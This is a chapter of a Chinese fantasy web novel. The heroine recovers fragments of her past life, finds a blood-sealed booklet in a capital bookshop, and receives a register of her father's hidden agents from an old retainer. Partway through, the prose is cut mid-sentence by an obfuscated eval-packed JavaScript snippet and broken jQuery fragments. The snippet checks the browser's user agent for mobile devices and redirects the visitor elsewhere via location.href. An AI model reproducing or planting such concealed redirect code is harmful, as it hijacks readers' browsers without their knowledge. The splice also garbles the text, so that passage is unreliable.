“说不上来。”清音皱眉,“就是……感觉他的记忆篡改可能没那么彻底。我的秘法对神魂弱的人效果很好,但有些人天生神魂就有些异常,或者受过什么刺激,会有抵抗力。”
江倾川脸色一沉:“你是说,他可能还记得什么?”
“不一定记得清楚。”清音连忙说,“可能就是一些碎片,比如一道光,一个影子什么的。具体的应该想不起来了。”
林疏星沉吟片刻:“够了。只要不是完整的记忆,应当无碍。那些破碎的印象,说出去也会被人当成胡言乱语。”
江倾川道:“保险起见,明天我出去打听打听,看看这几个人的动向。如果真有人赖着不走,或者行为异常……”
他没说完,但意思很明显。
林疏星点头:“嗯,需谨慎行事。”
饭后,清音去照顾祝君竹。林疏星和江倾川坐在厅堂里,就着油灯的光,低声交谈。
天都的第一日,便在这有惊无险中度过。
而对于祝君竹来说,则只是几场梦境而已。
22.第二十一回 书肆暗桩名录启
祝君竹这一觉昏昏沉沉,断续续睡了三日。
醒来时已是第四日午后,阳光从窗子斜斜切进来,在床前地上铺出一片晃眼的光斑。她睁开眼,盯着屋顶的梁木看了许久,那些深褐色的木纹扭曲盘绕,像某种古老的符文。
头痛还在,和之前一样,转为了一种沉闷的钝痛,像有块石头压在神魂深处。她试着动了动手指,又动了动脚趾,确认身体还在自己的掌控中。腹部伤口的痛感已经弱了许多,清音的五音罗织确实了得,三日下来,那道险些要命的刀伤竟已收了口,只余下皮肉新生的微痒。
起身之前,她问自己是谁?答案虽还是“祝君竹”,但她知道,有些东西不一样了。
那些属于江浅月的记忆碎片,不再是模糊的、一闪而过的画面。它们开始有了重量,有了温度,有了声音。她闭上眼,就能看见——宫墙,高得望不到顶的宫墙,朱红的漆在月光下泛着暗沉的血色。她被两个穿着玄色官服的人架着,拖过长廊。长廊两侧立着铜鹤灯台,灯火在夜风里明明灭灭,把她自己的影子拉长又缩短,像是在颤抖一般。
然后是一间密室。
四壁光滑,没有任何窗户,只有头顶一盏悬浮的灵石灯,发出惨白的光。空气里飘着一股淡淡的、甜腻的香气,闻久了让人头晕。她被人按在一张铁椅上,手腕脚腕都被冰冷的金属环扣住。
一个穿着斗篷的身影站在她面前,背着光,看不清脸。
“江浅月。”那声音冰冷低沉,听着令人打寒战,“再问一次——‘钥匙’是什么?”
她想摇头,想说不,但喉咙发紧,一个字都吐不出来。只有那股无形的压力,从四面八方涌来,挤压她的胸腔,挤压她的神魂,像是要把她的魂魄从身体里硬生生挤出去。
窒息。
那种感觉真实得可怕,真实得让她此刻躺在床榻上,都忍不住抬手按住自己的喉咙,大口喘息。
“小姐?小姐你醒了?”
清音的声音从门外传来,接着是急促的脚步声。她推门进来,手里端着一碗药,看见祝君竹捂着喉咙的样子,脸色一变,快步走到床边。
“怎么了?伤口又疼了?”
祝君竹放下手,摇了摇头。她看着清音,那神态与记忆中某个模糊的影子重叠——总是跟在身后,脆生生喊着“小姐”的小丫鬟,会在她练枪练到手抖时,偷偷给她塞一块桂花糖。
“清音。”她开口,声音还有些沙哑,“我……我刚才想起一些事。”
清音放下药碗,在床边坐下:“什么事?”
“宫里。”祝君竹慢慢说,“一间密室,没有窗户,有甜腻的香气。有人……在逼问我,问‘钥匙’是什么。”
“小姐……”她声音发颤,“那可能是……是当年,你奉诏进宫后的场景。”
祝君竹看着她:“你记得?”
清音用力点头,眼泪滚落:“我怎么不记得?那天你奉诏入宫,说是研制上古秘法的神兵利器。你入宫后没多久,边境传来太子殉国的消息,紧接着苏罗大兵压境,王爷就出征了。你在宫里待了好些日子,忽然有一天出了宫,向玉京山方向去了,后来的事我都跟你说过了……”
她说着,抬手抹了把眼泪,却抹不干净,眼泪越擦越多。
“小姐那时候二十四岁,还是二十五岁?想是他们把你关在宫里……怎么能……怎么能那样对你……”
祝君竹静静听着。
她没有清音那么强烈的情绪,那些记忆对她来说,更像是旁观了一段别人的故事。但胸腔里那股闷痛是真实的,喉咙里残留的窒息感也是真实的。江浅月经历的那些痛苦,正在通过某种方式,一点一点转移到她身上。或者说,那些痛苦正在与她融合。
“好了,笨丫头,别哭了。”她抬手,轻轻拍了拍清音的背,“都过去了。”
清音抽噎着点头,好一会儿才平复下来。她端起药碗,试了试温度,递到祝君竹面前:“先喝药吧。公子说了,你这伤还得再养几日,不能急着下地。”
祝君竹接过药碗,一饮而尽。苦味在舌后散开,她却觉得比那梦要甜些。
院子里很安静,只有偶尔传来的几声鸟叫。林疏星和江倾川都不在,想是出去办事了。这三天她昏睡期间,那两人早出晚归,似乎在忙着什么。
“他们呢?”她问。
“公子一早就出去了,说是去采买些东西,顺便打探打探市面上的行情。”清音说,“世子……呃……敖先生也出去了,说是再去见几个故友,他是乐师嘛,想通过关系进乐坊。”
祝君竹点点头,没再多问。她掀开被子,试着挪到床边。清音连忙来扶:“小姐你要做什么?再躺会儿吧。”
“躺得骨头都酥了。”祝君竹说,“扶我出去走走,就在院子里。”
清音拗不过她,只好小心搀着她下床,走到院子里。
午后的阳光正好,暖洋洋地照在身上。院子外的那棵老槐树投下一片斑驳的树影,风一吹,影子就摇晃起来,像是水面的涟漪。井台边的青苔绿得发亮,井水映着天光,一晃一晃的。
祝君竹在井台边的石凳上坐下,深深吸了口气。
空气里有泥土的味道,有草木的味道,还有隔壁飘来的饭菜香。这种市井的、烟火气十足的气息,让她有些恍惚——在现世时,她住的小区楼下也有这样的味道,早餐摊的油条香,邻居家炖肉的香气,还有永远扫不干净的落叶气味。
两种记忆,两个世界,竟有些许微妙地重叠。
“清音。”她忽然说,“吃过饭陪我出去走走罢。”
清音一愣:“出去?可是小姐你的伤……”
“不妨事了,你这缝伤口的本事当真不错。”祝君竹活动了一下手臂,“再闷在屋里,我怕是要发霉了。而且……我也想看看天都。”
她想看看,这座江浅月曾经生活过的城市,到底是什么样子。那些记忆碎片里的街巷、店铺、人流,是否还和当年一样。
清音犹豫了一下:“那……我觉得咱们还是跟公子说一声。”
“不用。”祝君竹摇头,“等他回来都什么时辰了,你这丫头什么时候这么怕他了?”
清音无奈,只得应允。去厨房整治了几样小菜,二人匆匆吃了,清音拿了件披风给祝君竹披上,便出了门。
柿子巷比想象中热闹。
虽然只是条陋巷,但住户不少,来来往往的都是些普通百姓。有挑着担子卖菜的老农,有挎着篮子买菜的妇人,还有几个孩童在巷口追逐打闹,笑声清脆。
祝君竹慢慢走着,目光扫过两旁的低矮房屋。这些房子大多有些年头了,墙皮剥落,门窗破旧,但门口挂着的辣椒、玉米,窗台上摆着的盆花,又给这些破旧添了几分生气。
巷子不长,走到底就是一条稍宽些的街道。
街上人来人往,比巷子里热闹得多。两侧都是店铺,卖布的,卖米的,打铁的,做木工的,还有几家小饭馆,门口支着炉子,热气腾腾的包子刚出笼,香味飘出老远。
清音搀着祝君竹,一边走一边小声介绍:“这条街叫榆钱街。往前走就是西市主街了,那边更热闹,卖什么的都有。往西走是……”
她说到一半,忽然停住,眼睛直勾勾盯着街对面的一家铺子。
那是一家甜糕铺子,门面不大,招牌上写着“李记甜糕”四个字,字迹已经有些模糊了。铺子门口摆着几张条凳,几个客人坐在那儿吃糕,老板是个年岁不小的妇人,正忙着收钱。
“小姐……”清音的声音有些发颤,“你还记得那家铺子吗?”
祝君竹顺着她的目光看去。
甜糕铺子。热气。甜香。还有……桂花馅太少。
这个念头毫无预兆地跳进她脑子里,快得她自己都愣了一下。
“桂花馅太少。”她低声重复了一遍。
清音的眼睛泛起了光,抓着她的手收紧:“对!小姐你以前最爱吃他家的桂花糕,但每次买了都要抱怨一句‘桂花馅太少’,说老板小气,舍不得多放料……但味道却是一绝。”
她说着,眼眶又红了,嘴角却浮着微笑。
祝君竹看着那家铺子,记忆的碎片又开始翻涌。她看见一个穿着浅色衣裙的少女,带着个小丫鬟,站在铺子前,指着刚买来的桂花糕,噘着嘴抱怨:“清音你看,这桂花馅也太少了,就薄薄一层,吃得不过瘾。”
那些画面清晰得像是昨天才发生。祝君竹甚至能感觉到,当时嘴里桂花糕的甜味,还有那种带着娇憨的、小小的不满。
她站了一会儿,转身:“走吧。”
清音连忙跟上,语气里带着压抑不住的雀跃:“小姐你还想去哪儿看看?前面有家首饰铺子,你以前常去的,说他们家簪子样式别致。还有家绸缎庄,你总说他们家的料子颜色正……”
祝君竹没说话,只是慢慢往前走。
街道两旁的店铺在她眼中一一掠过,有些陌生,有些却带着模糊的熟悉感。那种感觉很奇怪,像是走在一条既熟悉又陌生的路上,每走一步,都能让沉睡中的记忆泛起一丝涟漪。
她在一个十字路口停下。
左侧是继续往前的榆钱街,右侧是一条稍窄些的巷子,巷口挂着一块木牌,上面写着“书香墨韵”四个字。巷子不深,一眼能看到底,尽头是一家铺子,门面比周围的店铺都朴素,只挂着一块简单的匾额——“定阅书肆”。
祝君竹的目光落在那块匾额上,神魂之中似乎有一丝潜藏已久的灵力被忽然唤醒。她没有任何征兆的转向,朝那条巷子走去。
“小姐?”清音有些疑惑,但还是跟上,“你想买书吗?”
祝君竹充耳不闻,未做回应。
那书肆像是有什么东西在呼唤她,在吸引她。
推开书肆的门,一股旧纸和墨香扑面而来。
铺子不大,三面墙都是书架,从地面一直顶到天花板,密密麻麻摆满了书。靠窗的位置摆着一张长桌,桌上摊着几本翻开的书,还有笔墨纸砚。一个穿着灰色长衫的老者坐在桌后,正在低头写着什么,听见门响,抬起头来。
“客官想看什么书?”他声音温和,脸上带着书商惯有的客气笑容。
祝君竹的视线却越过他,径直落在最里面那排书架的最下层。
那里堆着一些旧书,看起来很久没人动过了,书上落了一层薄灰。但在那一堆灰扑扑的书脊旁,在那个不起眼的角落,隐约透出一丝极淡的、几乎看不见的幽光。
她走过去,蹲下身。指尖拂过那些旧书的书脊,最后停在那微微的幽光上。
那是一本小册子,封面是深褐色的绒皮,边缘已经磨损了,书脊上没有任何字迹。它混在一堆旧书和残破的典籍里,毫不起眼。
但祝君竹的手触到它的瞬间,记忆的闸门轰然洞开。
深夜。书肆已经打烊,只有角落里点着一盏油灯。她穿着深色的斗篷,帽檐压得很低,手里捧着这本小册子,蹲在书架前。
指尖划过封面,一滴血从指腹渗出,滴在绒皮上。血没有晕开,而是像被吸收了一样,瞬间渗了进去。她低声念诵着什么,声音很轻。
“……以血为引,封于此间。神魂之证,非吾不得。血阵若破,其物立焚。”
最后一个字音落,册子上闪过一道微光,随即隐去。她将它塞进书架最底层,用几本旧书盖住,然后起身,拉紧斗篷,悄无声息地消失在夜色里。
画面散去。
祝君竹的手指还按在那本册子上。她能感觉到,册子内部有什么东西在呼应她,在等待她。那些她滴上去的血,那些她念诵的咒文,时隔多年,依旧认得她。
她拿起册子,拂去封面上的灰尘。
绒皮触手温润,像是有生命一般。她翻开,里面是空白的纸页,一个字都没有。
书肆老板不知何时已将铺子门关了,走过来站在她身后。
“客官对这本册子感兴趣?这册子可价值不菲,二位若有意,请后堂叙话。” 他的声音依旧温和,但那温和里,似乎藏着某种克制的、压抑的情绪。
祝君竹这才开始认真端详这书肆老板,那是一张普通的老者的脸,眉眼平和慈祥,皱纹满布似是饱经风霜,没有任何特别之处。但那双眼睛,此刻正紧紧盯着她手里的册子,然后又抬起,看向她的脸。这目光中,有一种极为熟悉的亲近感。
她点点头,与清音使个眼色,示意她跟上。
那老板转身朝书架后面走去。那里有一扇不起眼的小门,他推开,做了个请的手势。
门后是一条狭窄的通道,光线很暗,只能勉强看清脚下的路。走了约莫十来步,又是一扇门,推开后,是一间小小的内室。
内室陈设简单,一张方桌,几把椅子,一个书架,还有一张窄榻。墙上挂着几幅字画,都是些寻常的山水花鸟,没什么特别。
老板请祝君竹上座,给祝君竹看了茶。此间他的目光却始终在祝君竹的脸上与那册子上游走,看的祝君竹颇不自在。
须臾,他走到清音面前问道:“请恕老朽冒昧,还未请教,这位女娃娃闺名?”
“啊?”清音被他问的一愣,“呃……我叫清音。”
那老板按捺不住激动,强压声音道:“小姐……终于回来了。”
祝君竹顿时心惊不已。
那老板走到祝君竹面前,倒头便拜:“老奴鲁奇,拜见小姐。”
清音愣住了,看看鲁奇,又看看祝君竹,一时没反应过来。
祝君竹握紧了手里的册子,绒皮的质感硌着掌心。她看着眼前这个自称“老奴”的人,脑海里没有任何关于他的记忆,但脑中紧绷的精神,却莫名地松了一下。像是在海上漂泊多年,终于踩到了一块坚实的土地一般。
她赶忙双手扶起鲁奇问道:“你认得我?”
鲁奇直起身,脸上那层客套的笑容彻底褪去,露出底下真实的、复杂的表情——有关切,有激动,有一种漫长的等待终于有了结果的释然。
“老奴认得这本册子。”他说,“这是小姐当年亲手所藏,施了血脉禁制。除了小姐本人,谁也看不见,谁也取不走。今日小姐能将它拿起,便已说明一切。再加上女娃娃的名字叫清音,那便绝不会有错了!小姐快请坐。”
祝君竹再次在桌边坐下,清音站在她身侧,手按在腰间——那里藏着她的短刺,虽然知道眼前这人多半不是敌人,但多年的习惯让她随时保持着警惕。
鲁奇退了一步,再次行礼,低沉而平稳说道:
“小姐,老奴原是定岳王麾下谋士,仙帝归元初年,王爷助陛下登基,平定四方,功劳太大,知道得也太多。王爷洞察世事,知飞鸟尽良弓藏之理,便在功成之后,将我等一批心腹以各种名义遣散,暗中布于天都各处,作为暗桩。”
他顿了顿,看向祝君竹:“王爷曾说,若有朝一日江家遭难,这些暗桩便是保我血脉延续的最后依仗。”
鲁奇站起身,走到书架前,口中念念有词,右臂衣袖在书架最上层轻轻一拂,“咔嗒”一声,那书架竟开了一扇暗格。只见他从中取出一个木盒,放到桌上,打开说道:“名册在此,请小姐过目。”
盒子里是一本薄册,封面是普通的蓝布,已经有些褪色了。他翻开名册,放到祝君竹面前。
第一页上写着几个名字,墨迹已旧,但字迹工整清晰。
“吴封平、覃三娘——天璞钱庄。”
“鲁奇——定阅书肆。”
再往后翻,还有十几个名字,后面都标注着地点和身份,有的是商铺掌柜,有的是酒楼东家,还有的是衙门里的小吏,分布在天都各处。
鲁奇等她翻过一遍,续道:“我们这些人,当年假死的假死,归乡的归乡,最后都在这天都静静的潜伏了下来。”
祝君竹猛地想起江倾川的话——父王坚信月儿还活着,我们兄妹终有相聚之日。江家的血脉,不能就此断绝。
原来不止是信念。还有布局,有后手,有埋在地下多年的、等待破土而出的种子。
“小姐当年持王爷信物来到书肆,藏物于此,施以禁制。”鲁奇继续说,目光落在祝君竹手中的绒皮册子上,“那时小姐交代,此阵法乃是太子殿下所授,除我之外,任何人也无法取出。若强行破阵,其中所封之物则立时焚毁。”
他深吸一口气,声音里终于带上了一丝压抑不住的激动:
“这些年,老奴日日守着这间书肆,看着那些旧书,看着那个角落。等了一年又一年,几乎要以为等不到了……直到今日,看见小姐走进来,看见你径直走向那个角落,拿起这本绒皮册子……”
他说不下去了,眼眶发红,却强忍着没让眼泪掉下来。
祝君竹静静听着。手中的绒皮册子很轻,它该是江浅月留给自己的后路。而那本名册,则是定岳王布下的棋,是跨越了时间、死亡、甚至世界界限的,一条连接着过去与现在的线。
她再次翻开名册,一页一页看过去。那些陌生的名字,那些陌生的地点,此刻在她眼中,却莫名地带上了一种沉重的分量。
这些人,这些年来,是不是也和鲁奇一样,在某个角落里等待着?等待着那个可能永远都不会到来的“小姐”?
“他们……都知道吗?”祝君竹问。
鲁奇摇头:“除了吴封平夫妇,其他人并不知道小姐之事。王爷当年的安排是,暗桩之间互不相识,只单线联系。老奴只负责看守此册,等待小姐。吴封平那边,负责的是另一条线——若世子归来,他们该会知晓。”
他顿了顿,补充道:“不过小姐放心,这些人都受过王爷大恩,忠诚无需怀疑。只要确认身份,他们必然会拼死效命。”
祝君竹合上名册,沉默良久。
室内的光线很暗,只有从门缝里透进来的一缕微光,照亮空气中飞舞的尘埃。那些尘埃起起落落,像是无数细小的、无声的故事。
“我现在叫祝君竹。”她终于开口,声音很平静,“记忆还不全,很多时候,我甚至不确定自己是谁。但既然……既然找到了你们……我想,有些事,是该开始做了。”
鲁奇再次深深一揖:“老奴鲁奇,愿为小姐效犬马之劳。”
从书肆出来时,天色已近黄昏。
夕阳的余晖给街道镀上一层金红色,行人渐渐少了,店铺开始陆续打烊。祝君竹手里拿着那本绒皮册子,指尖摩挲着绒皮封面,触感温润,像是还残留着当年那个少女指尖的温度。
清音跟在她身侧,时不时偷眼看她,欲言又止。
“想说什么就说。”祝君竹道。
清音咬了咬唇,小声道:“小姐,我……我有点怕。”
“怕什么?”
“怕你……变了。”清音的声音越来越低,“以前的小姐,虽然也聪明,也厉害,但不会像现在这样……这样冷静。刚才在书肆里,你跟鲁老板说话的样子,让我觉得……有点陌生。”
祝君竹停下脚步,转身看着她。
清音低着头,手指绞着衣角,像个做错事的孩子。
“清音。”祝君竹的声音很轻,“我不是变了,我只是……多了些东西。”
她顿了顿,试图找到合适的词来解释:“她的记忆,和我的经历,还有那些关于另一个世界的知识……它们都在我脑子里,混在一起。有时候我自己都分不清,哪句话是她会说的,哪件事是我会做的。”
她抬手,按了按自己的太阳穴:“这几天我睡得昏沉,但其实并没有真的睡熟。那些记忆碎片一直在冲撞,在融合。我能感觉到,她的那部分越来越清晰,但祝君竹的这部分……也没有消失。它们像是在打架,又像是在互相妥协。我渐渐觉得,她的记忆和我的融合,若是反过来说,我的记忆也同样在和她的记忆融合。”
清音抬起头,眼睛红红的:“那……那最后会怎么样?小姐你会不会……会不会不要我了?”
这话问得孩子气,但祝君竹听出了里面的恐惧。
她伸手,轻轻拍了拍清音的头:“不会。不管变成什么样,你都是我的清音。这一点,永远不会变。”
清音的眼泪终于掉下来,嘴角却微微上扬。她用力点头,擦了把脸:“嗯!我相信小姐!”
两人继续往回走。夕阳把她们的影子拉得很长,投在青石板路上,晃晃悠悠的。
快到柿子巷时,祝君竹忽然问:“清音,你觉得……我父亲当年是不是已经料到了会有今天?”
清音想了想,摇头:“我不知道。王……老爷他……总是想得很远。有时候我觉得他像个算命的,什么事都能提前算到。”
祝君竹没说话。
她想起现世的那些历史书,那些权谋故事。兔死狗烹,鸟尽弓藏,这是千百年来不变的规律。定岳王功高震主,知道得太多,仙帝要坐稳皇位,清理他是迟早的事。
但他还是选择了忠君,选择了辅佐仙帝登基。然后在功成之后,悄悄埋下这些种子,为自己的子女留下一条生路。
这算是什么?愚忠?还是另一种形式的智慧?
她不知道。
回到小院时,林疏星和江倾川都已经回来了。
两人坐在厅堂里,桌上摊着一张地图,正在低声交谈着什么。听见门响,同时抬起头。
“回来了?我看到了清音留的字条,怎么这么晚……”林疏星站起身,目光在祝君竹脸上扫过。
祝君竹没回答他的话,她将门关上,走到桌前忽然说了句:“我今天看到了定岳王留下的暗桩名册。”说着,从芥子袋中取出名册,放到了桌上。
江倾川瞳孔一缩,伸手拿起名册,快速翻看。当他看到“鲁奇——定阅书肆”那行字时,手指顿了顿,抬头看向祝君竹:“你从哪得来的?”
“我下午在定阅书肆见到了鲁先生。”祝君竹坐下,简单把下午的事说了一遍。
江倾川听完,沉默了很久。
他摩挲着名册的封面,指尖在那行“吴封平、覃三娘——天璞钱庄”上停留了片刻,才缓缓开口:
“鲁先生……是父王最信任的谋士之一。当年上报乱军之中为流矢射杀,我还以为他真的死了,没想到……”
他苦笑一声:“父王他……果然什么都算到了。”
林疏星拿起名册,仔细看了看上面的名字和地点,眉头微皱:“这些暗桩分布很散,身份也都很普通,不容易引人注意。但相应的,能调动的资源恐怕也有限。”
“够用了。”江倾川说,“我们现在最需要的不是资源,是眼睛和耳朵。这些人潜伏多年,对天都的熟悉程度,对各方势力的了解,远比我们这些刚回来的人深。”
他看向祝君竹,眼神复杂:“月儿,你……你真的决定要开始了?”
祝君竹迎上他的目光,没有回避。
“我有很多问题要问。”她说,“江浅月当年为什么会被逼供?‘钥匙’是什么?我为什么会从这个世界消失,去了另一个世界?又是怎么回来的?这些妖力又是怎么进入我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005847|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
体内的?”
她顿了顿,声音很平静,但每个字都带着分量:
“这些问题,似乎只有在这里能找到答案。”
林疏星点头:“既然有了暗桩,我们可以先接触几个,了解一下天都目前的局势。尤其是吴封平夫妇,他们经营钱庄,消息最该灵通。”
“我去见他们。”江倾川说,“我认得吴叔,当年在王府时,他常笑我不会管钱,到了月底便喝西北风!”
“小心些。”林疏星提醒,“虽然是自己人,但这么多年过去,人心难测。先试探,再交底。”
“我明白。”
三人又商量了一会儿,定下了接下来的计划。清音去厨房做了饭,很快端了简单的饭菜上来——一碟青菜,一碟豆腐,还有一锅粥。
吃饭时,祝君竹忽然叫:“兄长。”
林疏星与江倾川同时抬头应道:“嗯,何事?”
三人面面相觑,林疏星登时大窘。
祝君竹微笑改口道:“林公子,你今天出去,打听到什么了吗?”
林疏星放下筷子,讪讪的说道:“天都现在的局势……很微妙。”
他看向江倾川:“敖兄,你那边应该也有消息吧?”
江倾川点头,脸色凝重:“仙帝早在十年前便开始闭关,说是要冲击第五境。朝政由二皇子凌清阳代为处理,仙后垂帘听政。”
“清阳……”林疏星点头低声道。
“他现在是辅政王。”江倾川说道。
祝君竹听着他们的对话,脑海中那些记忆碎片又开始翻涌。
仙帝。
仙后。
二皇子。
这些名字,这些身份,在江浅月的记忆里都似曾相识。
威严的帝王,端庄慈祥的皇后,还有那个总是跟在太子身后、怯生生喊“皇兄、月姐姐”的二皇子。
但现在,一切都变了。
太子“死”了,定岳王府“叛”了,她这个宸月公主也在玉京山下落不明了。
仙帝在闭关,仙后在垂帘,二皇子在辅政。这潭水,比想象中还要浑的多。
“还有一件事。”江倾川压低声音,“我打听到,玄影监最近在暗中调查一批从边境来的流民,说是跟苏罗有关。玄影监则在查各大钱庄的异常资金流动,像是在找什么人。”
他顿了顿,看向祝君竹:“我怀疑……他们可能在找你。”
祝君竹握着筷子的手紧了紧。
“找我?”
“你‘复活’的消息,还有你身上的妖力。你们在玉京山一击击杀十五名潜龙卫的事,可能已经传出去了。”江倾川说。
林疏星点头:“所以我们必须加快速度。在敌人找到我们之前,先找到我们要找的东西。”
饭后,清音收拾碗筷,两个男人聊着接下来的行动。祝君竹却有些期待的回到房间,坐在床边,拿出那本绒皮册子。
她翻开空白的纸页,指尖在上面轻轻划过。她能感觉到,册子里藏着东西。那些江浅月当年封存进去的,那些需要特定条件才能解开的秘密。
然而上面却什么都没有。
她闭上眼,试着调动体内的灵力去触动,仍是没有任何反应。
祝君竹无奈的合上册子,将丢回到芥子袋中。
“算了,船到桥头自然直,随缘罢!”
清音洗了碗,端了盆温水过来,仔细帮祝君竹擦脸净手。祝君竹由着她伺候,目光却落在窗外渐深的夜色里。
收拾停当,清音退了出去,轻轻带上门。屋内一时只剩祝君竹一人,油灯的光晕在墙壁上投下摇曳的影子。她靠在床头,并未立刻躺下,白日里在书肆的所见所闻,鲁奇激动的面容,那本暗桩名册,还有江浅月记忆里冰冷窒息的场景……种种画面交错翻腾,让她心绪难平。
不知过了多久,房门被轻轻叩响。
“月儿,可歇下了?”是江倾川的声音,带着一丝迟疑。
“还没,兄长请进。”
江倾川推门进来,手里端着一个小巧的青瓷碗,碗口氤氲着热气,散发出一股清雅的药草香,并非之前喝的汤药。“见你晚间没吃多少,清音熬了点安神的羹,用的是东海带来的海玉草,对稳固神魂有些效用。”
他将碗放在床边小几上,自己在床前的凳子上坐下,目光落在祝君竹脸上,仔细端详她的气色,“头还疼得厉害么?那记忆……可还受得住?”
他的关切几乎不加掩饰,与白日里那个冷静分析局势的“敖清澜”判若两人。祝君竹心中微暖,端起瓷碗,温热的触感透过掌心传来。
“好多了,只是……有些混乱。”她舀了一勺羹汤送入口中,清甜微涩,入喉后确实带来一丝宁定的凉意,抚慰着隐隐作痛的神魂。
“像是在看别人的故事,又像是亲身经历。有时候清晰,有时候又隔着一层纱。”
江倾川沉默片刻,低声道:“父王曾说,神魂之道,最忌强行撕裂与拼合。你如今这般……实是无奈。若有任何不适,定要立刻告知我或林兄,万不可硬撑。”他顿了顿,话锋一转,眉头微蹙,“我听清音说,你今日……又险些被那本能主导?”
他说的是在书肆时,祝君竹被那绒皮册子吸引,近乎无意识走过去的举动。
祝君竹放下碗,点了点头:“并非战斗时的本能,像是一种……共鸣。那册子上的禁制与我血脉相连,它‘唤’我,我便去了。当时心绪很静,并无失控之感。”
“那就好。”江倾川似乎松了口气,但眼中的忧虑并未完全散去,“你如今修为如何?我观你气息,似乎已近第二境顶峰?”
“在玉京山闭关时有所领悟,确实摸到了第三境的门槛。只是这些日子以来,修炼进展缓慢,全然不似在玉京山那般畅快。加之头痛缠身……”祝君竹如实道。对于这位血脉相连的兄长,她有种天然的信任,无需隐瞒。
“第三境……”江倾川沉吟,“第二境融界,是感知并初步引动外界灵力。第三境统御,则需对自身灵力与外界法则有更深层的掌控。你既有此感悟,突破当在旦夕之间。只是……”他抬眼看她,目光锐利起来,“月儿,恕兄长直言,你现在……不善近身搏杀。前番遇袭,若非本能反应,又或林兄及时赶到……”
他没有说下去,但意思很明显。祝君竹一路行来,无论是面对真灵教神使,还是妖族偷袭,若非机缘巧合或他人援手,怕是早已魂归星海了。
祝君竹没有否认。“我……确实不擅长,江浅月虽擅长,但我却无法将她的功法化为己用。”她想起玉京山核心的体验,眼中闪过一丝复杂的光芒,“在玉京山核心处,我借助山中特有的、与我高度共鸣的庞大能量,可以做到一些……近乎改写局部规则的事。比如凭空凝聚物质,改变小范围内的威压等等。”
江倾川闻言,瞳孔微缩:“言出法随?凭空造物?那可是传说中大罗境界方能触及的领域!”
“并非真正的言出法随。”祝君竹摇头,试图用更准确的语言描述,“我把它称之为……‘编程’。玉京山核心的能量结构极为特殊,稳定而庞大,仿佛一个预设好的、可供高级操作的平台。我在那里,如同得到了最高权限,可以调用那些能量,按照我对‘规则’的理解,去构建、修改一些东西。但这一切的前提,是身处玉京山,有那无穷无尽且与我同源的能量作为后盾。”
她看向自己的手掌,指尖有极淡的灵光流转:“离开玉京山后,我能调动的外界灵力有限,自身的灵力储备更不足以支撑那种规模的‘规则改写’。那些在山上能轻易施展的手段,在这里……难以复现。所以,面对近在咫尺的危机,我缺乏有效的、快速的应对能力。”
江倾川听懂了。这是一种极其特殊且依赖环境的能力,在特定地点堪称神迹,但脱离环境后,便大打折扣。他眉头紧锁,思索片刻:“如此说来,你急需补足的,是常规的战斗手段,尤其是近身应急之法。你如今灵力感知与操控的底子极好,缺的是将其转化为有效攻防的技巧与经验。”他语气变得坚定,“从明日起,若有闲暇,我教你一些实用的近身格斗与灵力瞬发技巧。不追求繁复花哨,但求在关键时刻能护住自身,争取脱身或反击的时机。”
祝君竹心中一动。江倾川的提议切中要害,正是她所需。“有劳兄长。”
“你我之间,何须客气。”江倾川摆摆手,神色却依旧严肃,“此外,你神魂与记忆正在融合,此时修炼进阶,需格外小心。冲击第三境时,心魔关、神魂动荡都可能被放大。务必循序渐进,不可贪功冒进。若有任何异样,立刻停止。”
他絮絮叮嘱,事无巨细,那份深藏的关怀透过略显急促的语速流露出来。
一刻之后,他站起身说道:“你早些休息,安神羹趁热喝完。明日……我们再从长计议。”他走到门口,又停下,回头补充了一句,“林兄那边,你也无需担忧。他虽话不多,但行事稳妥,处处思虑周全。今日晚膳时……他见你吃得少,特意吩咐清音熬这海玉草羹,又私下问我,有无龙族安魂的古法可借鉴。”
他说完,轻轻带上门离开了。
祝君竹捧着微温的瓷碗,怔了片刻。林疏星……那个总是神色平静、谋定后动的男人,原来也在默默关注着她的状态。这种无声的照拂,如同细雨润物,不张扬,却令人心安。
她将剩下的羹汤慢慢喝完,那股清凉宁神的感觉更明显了些。躺下后,却没有立刻入睡,而是将意识沉入神魂。
那里不再是一片混乱的战场。
属于江浅月的记忆碎片,与属于祝君竹的经历影像,虽然依旧交错并存,但彼此冲撞的激烈程度似乎减弱了。它们像两条渐渐并行的溪流,虽然水质、流速不同,却开始朝着同一个方向流淌。
一些关于灵力精细操控的体悟,一些关于阵法符文的全新视角,正在自然而然地从“祝君竹”的部分流向“江浅月”的认知。而“祝君竹”那种独特的、近乎本能的“逻辑解构”与“能量编程”思维,也反过来影响着对传统修炼法门的理解。
她尝试着调动灵力,不再仅仅依靠那种按部就班的周天循环,而是更主动地去“感知”空气中弥漫的、稀薄但无所不在的灵力微尘,尝试用意识去“引导”、“编织”它们。
虽过程依旧生涩,远不如在玉京山时如臂使指,但比起从前,已多了几分灵动。
第二境顶峰……她能清晰地感觉到那层屏障的存在。那不是坚硬的壁垒,更像是一层轻盈而坚韧的膜,隔开了两个对灵力与法则认知深度不同的世界。捅破它,需要契机,也需要积累。
不知过了多久,门外再次传来极轻的脚步声,停在门口,却没有敲门。片刻后,脚步声远去,似是去了隔壁房间。
是林疏星。
祝君竹闭上眼,终于放任疲倦席卷而来。这一次,梦中不再是无序的碎片冲撞。她梦见自己站在玉京山巅,脚下是翻涌的云海,手中银鳞枪指向苍穹,枪尖牵引着漫天星辉与山间磅礴的能量,勾勒出复杂而美妙的法则轨迹。而在不远处,一道青色的身影和一个笼罩在水蓝光泽中的身影静静伫立,如同沉默而坚实的山岳与深海。
夜色深沉,柿子巷小院彻底归于寂静。天都的万千灯火在远处明明灭灭,如同巨兽沉睡时缓慢起伏的呼吸。暗流在地下涌动,阴谋在黑暗中滋长,而在这陋巷一隅,历经劫难才重新聚首的四人,正试图在这张无边无际的棋盘上,落下属于自己的、至关重要的第一子。
前路却依旧迷雾重重,杀机四伏。